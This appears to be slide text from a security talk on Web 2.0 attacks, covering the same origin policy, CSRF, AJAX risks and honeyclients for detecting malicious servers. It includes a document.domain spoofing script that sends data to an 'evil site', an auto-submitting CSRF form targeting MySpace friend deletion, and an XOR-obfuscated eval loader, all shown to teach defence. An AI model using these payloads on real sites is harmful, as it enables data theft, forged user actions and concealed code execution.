Attacking web 2.0 using Man in the endpoint attacks.

Nimrod Luria
Information security architect
Q.Rity Quality Security Solutions LTD.
Nimrod@Qrity.com
Schoolboy hacks into city's tram system
By Graeme Baker
Last Updated: 2:48am GMT 11/01/2008

http://www.telegraph.co.uk/news/main.jhtml;jsessionid=Y5X3DLZOSFSAPQFIQMF
SFFOAVCBQ01V0?xml=/news/2008/01/11/wschool111.xml
Boeing's new 787 Dreamliner passenger jet may have a serious security vulnerability in its onboard computer networks that could allow passengers to access the plane's control systems, according to the U.S. Federal Aviation Administration.
AJAX Reviewed

CLIENT

DOM, JavaScript, CSS, XML, JSON, etc.

TRANSPORT

HTTP

BizLogic

XML HTTP Request Object

App Data

SERVER

C#, VB.NET, ASPX, XML, SQL, etc.

BizLogic

Web Service

App Data
Where am I?
## Same Origin/Domain Policy

<table>
<thead>
<tr>
<th>URL</th>
<th>Can I access it?</th>
<th>Why or why not?</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://foo.com/index.html">http://foo.com/index.html</a></td>
<td>Yes</td>
<td>The protocol and hostname match. The port is not explicitly stated. The port is assumed to be 80. Note that the directories differ. This directory is / while the other is /bar.</td>
</tr>
<tr>
<td><a href="http://foo.com/cgi-bin/version2/webApp">http://foo.com/cgi-bin/version2/webApp</a></td>
<td>Yes</td>
<td>The protocol and hostname match. The port is not explicitly stated. The port is assumed to be 80. Note that the directories differ. This directory is /cgi-bin/version2 while the other is /bar.</td>
</tr>
<tr>
<td><a href="http://foo.com:80/bar/baz.html">http://foo.com:80/bar/baz.html</a></td>
<td>Yes</td>
<td>Has almost identical URL. The HTTP protocol matches, the port is 80 (the default port for HTTP), and the hostname is the same.</td>
</tr>
<tr>
<td><a href="https://foo.com/bar/baz.html">https://foo.com/bar/baz.html</a></td>
<td>No</td>
<td>The protocols differ. This one uses HTTPS.</td>
</tr>
<tr>
<td><a href="http://www.foo.com/bar/baz.html">http://www.foo.com/bar/baz.html</a></td>
<td>No</td>
<td>The hostnames differ. This hostname is <a href="http://www.foo.com">www.foo.com</a> instead of foo.com</td>
</tr>
<tr>
<td><a href="http://foo.com:8080/bar/baz.html">http://foo.com:8080/bar/baz.html</a></td>
<td>No</td>
<td>The port numbers differ. The port here is 8080, while the other port is assumed to be 80.</td>
</tr>
</tbody>
</table>

**Table 2-1** How the Same Origin Policy Works when http://foo.com/bar/baz.html Attempts to Load Certain URLs
Exceptions to the Same Origin Policy

- Browsers allow limited exceptions to the same origin policy

```html
<script>
document.domain = "foo.com";
</script>

then http://xyz.foo.com/anywhere.html can send an HTTP request to http://www.foo.com/bar/baz.html and read its contents.
You cannot put any domain in `document.domain`.

The `document.domain` must be the superdomain of the domain from which the page originated,

such as `foo.com` from `www.foo.com`. 
What Happens if the Same Origin Policy Is Broken?

- function callbackFunction() {
  if (document.domain == "safesite.com") {
    return "Confidential Information";
  }
  return "Unauthorized";
}

- <script>
  function callbackFunction() {return 0;}
  document.__defineGetter__('domain', function() {return "safesite.com"});
  setTimeout("sendInfoToEvilSite(callbackFunction())", 1500);
  </script>

- <script>
  <script src="http://somesite.com/GetInformation?callback=callbackFunction">
  </script>
“Note that if the same origin policy were broken, then every web application would be vulnerable to attack—not just webmail applications. No security would exist on the web. “

- Hacking Exposed Web 2.0 application, Web 2.0 Security Secrets and solutions.
Top Attacks against Web 2.0

- Cross-Site Request Forgery (CSRF)
- XML Poisoning
- RSS / Atom Injection
- WSDL Scanning and Enumeration
- HTTP Request Splitting
- Malicious AJAX Code Execution
- RIA thick client binary manipulation
How Does SCRF works

<form name="PageForm" action="index.cfm" method="get">
<input type="Hidden" name="fuseaction" value="user.editfriends">
<input type="hidden" name="friendID" value="YOURIDHERE">
<input type="hidden" name="page" value="">
<input type=hidden name=Mytoken value=YOURTOKENHERE>
</form>

<form action="http://collect.myspace.com/index.cfm?fuseaction=user.deleteFriend&page=0" method="post" name="friendsDelete" id="friendsDelete">
<input type="hidden" name="hash" value="YOURHASHHERE">
<input type=hidden name=Mytoken value=YOURTOKEN>
<input type="checkbox" name="delFriendID" value="6221" checked>
</form>

<script>
document.friendsDelete.submit();
</script>
How To Avoid It:

- Always use POST for operations
- Explicitly Authorize Activity
- Use the ViewStateUserKey in ASP.NET
- Consistently perform input validation at the client and at the server side.
- Be sure that the application AJAX logic can’t be broken
- Be sure that an attacker can’t change the DOM or inject HTML or scripting using your code.
- Encode your input and output
- Load javascript functionality on demand
- Use MAC (Message Authentication Code) for every post that operation to the site (ViewStateUserKey)
XMLHttpRequest Best Practices

- XMLHttpRequest Object (XHR)
- Can be used on compromised Clients to exploit additional vulnerabilities.
- When transmitting data with it, be sure that sensitive communications are properly encrypted.
  - SSL
  - SAML
  - WS-Security
Honeyclient Overview
What is a honeyclient? (I)

Definition:

*Honeyclients are active security devices in search of malicious servers that attack clients. The honeyclient poses as a client and interacts with the server to examine whether an attack has occurred.*

Source:
http://en.wikipedia.org/wiki/Client_honeypot_/_honeyclient
What is a honeyclient? (II)

• Different honeyclients depending on level of interaction:

1. Low interaction honeyclients
2. High interaction honeyclients
Low interaction Honeyclient

- Light weight or simulated clients (web crawler)
- Identifies known attacks based on:
  - Static analyses
  - Signatures
- May fail to emulate vulnerabilities in client apps
- Tools:
  - HoneyC
  - SpyBye
  - PhoneyC
High interaction Honeyclient

- Fully functional operating system with vulnerable applications (browsers, plugins)
- Detection of known/unknown attacks via comparison of different states (before and after visit of a server)
- Slow & prone to detection evasion
- Tools:
  - HoneyMonkey
  - Capture-HPC
  - MITRE Honeyclient
Threat focus 1: Drive-by Download

- Download of malware without awareness of the user.
- Malware offered and executed through exploitation of (multiple) vulnerabilities in browser, plugin, etc.
- Specific vulnerabilities targeted, based on:
  - Browser (IE/Firefox)
  - Browser plugins
  - VM versions
  - Patch level operating system
Threat focus 2: Code obfuscation

- Code obfuscation
  - Hide the exploit-vector
  - Evasion of signature-based detection (AV products, Intrusion Detection Systems)
  - Examples seen for Javascript, VBScript

```javascript
function xor_str(plain_str, xor_key) {
    var xored_str = "";
    for (var i = 0; i < plain_str.length; ++i)
        xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
    return xored_str;
}

var plain_str = "\xf6\xdb\xdc\xdb\xdc\xa0\xb7\xa4...\xff\xed\xdb\xdc\xdb\xdc";
var xored_str = xor_str(plain_str, 214);
eval(xored_str);
```
Threat focus 3: Compromised websites

Exploits imported from other servers via iframes, redirects, Javascript client side redirects

Links

- HoneySpider Network
  - http://www.honeyspider.org/
- Capture HPC
  - https://projects.honeynet.org/capture-hpc/
- Weka
  - http://www.cs.waikato.ac.nz/ml/weka/
- ngrams package:
  - http://code.google.com/p/ngrams/
- Heritrix
  - http://crawler.archive.org/
Q & A